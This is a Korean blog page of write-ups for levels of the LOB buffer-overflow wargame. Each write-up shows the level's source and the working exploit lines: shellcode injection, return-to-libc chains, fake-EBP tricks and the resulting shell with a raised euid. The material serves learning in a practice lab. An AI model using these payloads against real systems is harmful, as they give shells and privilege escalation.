'공부/LOB' 카테고리의 글 목록
'공부/LOB'에 해당하는 글 18건
2015.08.21 [lob] nightmare -> xavius
2015.02.19 [lob] succubus -> nightmare
2015.02.17 [lob] zombie_assassin -> succubus
2014.07.30 [lob] assassin -> zombie_assassin
2014.07.30 [lob] giant -> assassin
2014.07.30 [lob] bugbear -> giant
2014.07.30 [lob] darkknight -> bugbrear
2014.07.30 [lob] golem -> darknight
2014.07.30 [lob] vampire -> skeleton (3)
2014.07.30 [lob] troll -> vampire
[lob] nightmare -> xavius
공부/LOB 2015.08.21 01:45
[nightmare@localhost nightmare]$ cat xavius.c
char *ret_addr;
if(*(buffer+47) == '\xbf')
printf("stack retbayed you!\n");
if(*(buffer+47) == '\x08')
printf("binary image retbayed you, too!!\n");
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
ret_addr++;
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
와... 이거 옛날에 못풀었다 다시봐도 못풀겠어서 결국 다른블로그 보고 풀음
STDIN자체에 저장하는 버퍼가 있음 0X4005000이였나 암튼 이런 주소 인데 여기 map으로 보면 실행권한이 없지만
실제로는 있음;;;
그럼 그냥 쉘코드 넣고 주소 넣어주면됨
payload = nop * 19 + shellcode(25byte) + stdin내부 버퍼 주소
[nightmare@localhost nightmare]$ (python -c'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x13\x50\x01\x40" ';cat)| ./xavius
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀P@
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
'공부 > LOB' 카테고리의 다른 글
[lob] nightmare -> xavius (0)
[lob] succubus -> nightmare (0)
[lob] zombie_assassin -> succubus (0)
[lob] assassin -> zombie_assassin (0)
[lob] giant -> assassin (0)
[lob] bugbear -> giant (0)
[lob] succubus -> nightmare
공부/LOB 2015.02.19 05:00
dummy 44 + strcpy + ret[aaaa] + [buffer + 48] + [source] + [system] + [exit] + [buffer+72] + "my-pass\x0"
./aaaaaaaaa `python -c 'print "a"*44 + "\x10\x84\x04\x08" + "bbbb" +"\xa0\xfa\xff\xbf" + "\xac\xfa\xff\xbf"+ "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40" + "\xb8\xfa\xff\xbf" + "my-pass\x0"'`
[succubus@localhost succubus]$ ./nightmare `python -c 'print "a"*44 + "\x10\x84\x04\x08" + "bbbb" +"\xb0\xfa\xff\xbf" + "\xbc\xfa\xff\xbf"+ "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40" + "\xc8\xfa\xff\xbf" + "my-pass\x0"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb°ｺÿ¿ɀσ@ɺÿ¿my-pass
[lob] zombie_assassin -> succubus
공부/LOB 2015.02.17 17:00
payload = [dummy 44byte] + [do] + [gye] + [gul] + [yut] + [mo] + [ret dummy] + [buffer addr + 72] + ["my-pass\x0"]
[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "a"*44 + "\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\xf0\xaf\xff\xbf"+"\x98\xfa\xff\xbf"+"my-pass\x0"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.¼\$࿿-pass
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
euid = 517
[zombie_assassin@localhost zombie_assassin]$
[lob] assassin -> zombie_assassin
공부/LOB 2014.07.30 20:07
[assassin@localhost assassin]$ cat zombie_assassin.c
- zombie_assassin
- FEBP
if(argv[1][47] == '\xbf')
if(argv[1][47] == '\x40')
printf("library retbayed you, too!!\n");
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
0x80484df <main+159>: leave
0x80484e0 <main+160>: ret
0xbffffc52: 0x90909090
0xbffffb08
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload = [sc] + 쉘코드 23 바이트 + nop 13bytes + [sc-8] + leaveret
./aaaaaaaaaaaaaaa `python -c'print "a"*40+"\xa0\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
`python -c 'print "bbbb"+"\x9f\xfa\xff\xbf"+"\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" +"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "bbbb"+"\x9f\xfa\xff\xbf"+"\x90"*7 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" +"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
bbbb??퓧??????1픐h//shh/bin??S??째
???욀?
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
euid = 516
[lob] darkknight -> bugbrear (0)
[lob] giant -> assassin
[giant@localhost giant]$ ls
assassin assassin.c
[giant@localhost giant]$ cat assassin.c
- no stack, no RTL
// buffer+sfp hunter
[giant@localhost giant]$
Breakpoint 1, 0x804839b in main ()
[giant@localhost giant]$ ./find
/bin/sh : 0x400fbff9
payload = 더미 44byte + 메모리의 ret주소 (0804851E) + system함수 주소 + 리턴 어드레스(BBBB) + /bin/sh주소
[giant@localhost giant]$ ./assassin `python -c'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??@BBBB廈@
bash$ Xshell
euid = 515
[lob] golem -> darknight (0)
[lob] bugbear -> giant
[bugbear@localhost bugbear]$ cat giant.c
char *lib_addr, *execve_offset, *execve_addr;
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
sscanf(buffer, "(%x)", &lib_addr);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
sscanf(buffer, "%x", &execve_offset);
execve_addr = lib_addr + (int)execve_offset;
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
printf("You must use execve!\n");
[bugbear@localhost bugbear]$ gdb giant
$2 = {<text variable, no debug info>} 0x400a9d48 <__execve>
$1 = {void (int)} 0x400391e0 <exit>
[bugbear@localhost bugbear]$ ./find
(gdb) x/s 0xbffffff7 //stack끝에 들어가는 execve의 두번쨰 인자로 들어갈
0xbffffff7: "廈\017@"
./$"`python -c'print "\xf9\xbf\x0f\x40"'`" "`python -c'print "a"*44+"\x48\x9d\x0a\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"
payload = 더미 44byte + execve 주소 4byte(\x48\x9d\x0a\x40) + 더미 4byte (AAAA) + /bin/sh주소 ()
[bugbear@localhost bugbear]$ ./$"`python -c'print "\xf9\xbf\x0f\x40"'`" "`python -c'print "a"*44+"\x48\x9d\x0a\x40"+"AAAA"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"'`"
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaH?
@AAAA廈@?웠
euid = 514
[lob] vampire -> skeleton (3)
[lob] darkknight -> bugbrear
공부/LOB 2014.07.30 20:06
[darkknight@localhost darkknight]$ cat bugbear.c
- RTL1
printf("stack betrayed you!!\n");
Breakpoint 1 at 0x8048436
Starting program: /home/darkknight/bb
Breakpoint 1, 0x8048436 in main ()
[darkknight@localhost darkknight]$ cat find.c
long shell;
shell = 0x40058ae0;
while(memcmp((void *)shell, "/bin/sh", 8)) shell++;
printf("/bin/sh = %p\n",shell);
[darkknight@localhost darkknight]$ ./find
/bin/sh = 0x400fbff9
payload = 더미 44 byte + system주소 + 더미 4byte + /bin/sh 주소
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "a"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?@BBBB廈@
sh: Xshell: command not found
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
euid = 513
[lob] troll -> vampire (0)
[lob] golem -> darknight
[golem@localhost golem]$ cat darkknight.c
[golem@localhost golem]$
`python -c'print"\xb8\xfa\xff\xbf"+"\xbc\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xb4"'`
[golem@localhost golem]$ ./darkknight `python -c'print"\xb8\xfa\xff\xbf"+"\xbc\xfa\xff\xbf"+"\x90"*7+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xb4"'`
뫄옘?퓧??????1픐h//shh/bin??S??째
?덜퓹?4.?옹 @
euid = 512
payload = dummy 4byte + shellcode address 4byte + nop 7byte + shellcode 23byte + dummy 1byte
[lob] orge -> troll (0)
[lob] vampire -> skeleton
공부/LOB 2014.07.30 20:05
[vampire@localhost vampire]$ cat skeleton.c
- argv hunter
int i, saved_argc;
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
printf("stack is still your friend.\n");
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
// argc saver
saved_argc = argc;
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
./`python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'` `python -c 'print "a"*44+"\xa3\xff\xff\xbf"'`
//뒤에 놉을 넣은 이유는 쉘코드 중간에 esi를 변경하는 구문이 있는데 그냥 넣어줄 경우 스택의 범위를 초과하게 되면서 제대로 실행되지 않는다
[vampire@localhost vampire]$ ln -s skeleton `python -c'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81" + "\x90"*40'`
[vampire@localhost vampire]$ ./:wq `python -c'print "a"*44+"\xa3\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?
bash$ mypass
sh: mypass: command not found
euid = 510
[lob] darkelf -> orge (0)
Nalachagi 2015.06.30 12:12
안녕하세요 LOB 문제 풀다가
쉘코드 \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 를 써서 하려고
./`python -c 'print "\x90"*40+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `python -c 'print "\xbf"*44+"\xb0\xff\xff\xbf"'`
이런식으로 했는데 안되서 블로그 여러군데를 봤더니 다른쉘코드쓰고 이유에 대해 설명하는 곳이 여기 밖에 없더라고요.
esi를 변경한다고 하셨는데 좀만더 자세히 설명해주실수 없을까요?
Jen6 2015.07.10 02:32 신고
답변이 좀 늦었네요 파일명은 보통 메모리의 제일 끝에 주소에 들어가게 됩니다. 근데 쉘코드를 진행하다 보면 잘 기억은 안나지만 현재 스택의 위치 + 몇바이트를 esi에 옮겼던것 같은데 아무튼 이렇게 될경우 정상적으로 쉘코드가 실행이 안됩니다. 그래서 파일명 끝에 nop를 몇개 더 넣어주면 메모리 공간이 좀 더 확보가 되기 때문에 nop을 넣어줬었습니다.
도움이 되셨을란지 모르겠네요
[lob] troll -> vampire
[troll@localhost troll]$ cat vampire.c
- check 0xbfff
// here is changed!
if(argv[1][46] == '\xff')
printf("but it's not forever\n");
[troll@localhost troll]$ ./vampire `python -c'print "a"*44+"\xee\xf4\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
euid = 509
[lob] wolfman -> darkelf (0)